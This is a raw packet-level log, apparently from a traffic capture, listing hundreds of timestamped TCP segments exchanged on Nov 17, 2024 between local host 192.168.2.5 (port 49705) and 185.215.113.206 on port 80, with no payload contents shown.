Nov 17, 2024 12:35:12.177544117 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.215338945 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.215363979 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.215374947 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.215477943 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.215495110 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.215511084 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.215548038 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.215605021 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.265815973 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.265851974 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.265867949 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.265928984 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.265981913 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266000032 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266004086 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266031027 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266073942 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266144037 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266159058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266185999 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266201973 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266205072 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266252995 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266349077 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266364098 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266402960 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266452074 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266637087 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266691923 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266696930 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266716003 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266748905 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266765118 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266875982 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266901970 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266916990 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.266937017 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.266974926 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.267077923 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.267152071 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.267292023 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.267342091 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.267380953 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.267396927 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.267429113 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.267455101 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.267463923 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.267504930 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.293531895 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293560028 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293574095 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293636084 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.293683052 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.293873072 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293898106 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293914080 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293929100 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293930054 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.293945074 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.293967962 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.293979883 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.294006109 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.294042110 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.294104099 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.294118881 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.294157028 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.294173002 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.294254065 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.294270039 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.294306040 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.294325113 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.332690954 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.332796097 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.332840919 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.332858086 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.332899094 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.332916975 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.333074093 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.333089113 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.333105087 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.333118916 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.333120108 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.333137989 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.333146095 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.333189964 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.382879019 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.382895947 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.382913113 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.382996082 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383017063 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383032084 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383048058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383085966 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383148909 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383243084 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383300066 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383323908 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383341074 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383378029 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383414030 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383424044 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383471966 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383616924 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383682013 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383714914 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383747101 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383769035 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383796930 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383893967 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383945942 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383950949 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.383979082 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.383996010 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.384027004 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.384078979 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.384135008 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.384263039 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.384320021 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.384331942 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.384356022 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.384371996 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.384427071 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.384427071 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.384495020 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.410895109 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.410938978 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.410974026 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.410983086 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411007881 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411041021 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411063910 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411087036 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411098003 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411128044 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411133051 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411147118 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411164045 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411191940 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411212921 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411273956 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411309004 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411353111 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411374092 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411375046 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411447048 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411473989 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411508083 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411540985 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411550045 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411559105 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411585093 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411607027 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411618948 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.411637068 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.411674976 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.449872971 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.449944973 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.449954987 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.449989080 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.450005054 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.450026035 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.450043917 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.450074911 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.450084925 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.450128078 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.450128078 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.450165033 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.450181007 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.450203896 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.450218916 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.450256109 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.500461102 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.500498056 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.500534058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.500543118 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.500592947 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.500602961 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.500641108 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.500655890 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.500691891 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.500916004 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.500950098 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.500983000 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.500986099 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501013994 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501033068 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501054049 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501082897 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501183033 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501219988 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501251936 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501254082 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501274109 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501287937 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501308918 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501327038 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501336098 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501419067 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501471043 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501507998 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501537085 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501560926 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501713991 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501750946 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501775980 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501785994 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501799107 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501821041 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501833916 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501856089 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.501868010 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.501905918 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528245926 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528299093 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528342009 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528343916 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528382063 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528398037 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528418064 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528435946 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528450012 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528474092 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528485060 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528502941 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528520107 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528534889 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528554916 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528569937 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528590918 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528611898 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528647900 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528649092 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528686047 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528711081 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528721094 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528738976 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528755903 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528773069 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528793097 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.528806925 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.528841972 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.529196024 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.529232979 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.529258013 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.529278994 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.529397964 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.529453993 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.566840887 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.566859007 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.566874981 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.566929102 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.566930056 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.567056894 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.567074060 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.567090988 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.567111015 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.567133904 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.567308903 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.567337036 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.567356110 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.567429066 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.567429066 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.567495108 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617438078 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617511988 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617525101 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617549896 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617605925 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617631912 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617631912 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617644072 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617660999 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617679119 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617686987 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617714882 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617733955 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617754936 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617759943 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617805958 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617818117 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617841005 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617862940 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617904902 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.617942095 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617975950 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.617995024 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618015051 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618020058 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618062973 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618263006 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618294954 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618315935 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618329048 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618352890 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618374109 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618513107 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618546009 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618567944 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618580103 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618588924 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618660927 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618737936 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618772984 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.618843079 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.618879080 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.644969940 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645018101 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645080090 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645111084 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645144939 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645150900 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645150900 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645180941 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645196915 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645226002 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645278931 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645313978 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645323992 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645351887 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645355940 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645395041 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645570040 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645600080 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645632982 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645667076 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645724058 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645754099 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645759106 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645788908 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645792961 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645817995 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645828962 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.645840883 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645875931 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.645967960 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.646017075 CET	49705	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:12.646064043 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.646099091 CET	80	49705	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:12.646116972 CET	49705	80	192.168.2.5	185.215.113.206
